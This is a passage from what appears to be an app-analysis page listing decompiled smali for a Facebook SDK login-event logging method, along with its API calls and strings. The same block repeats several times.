                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
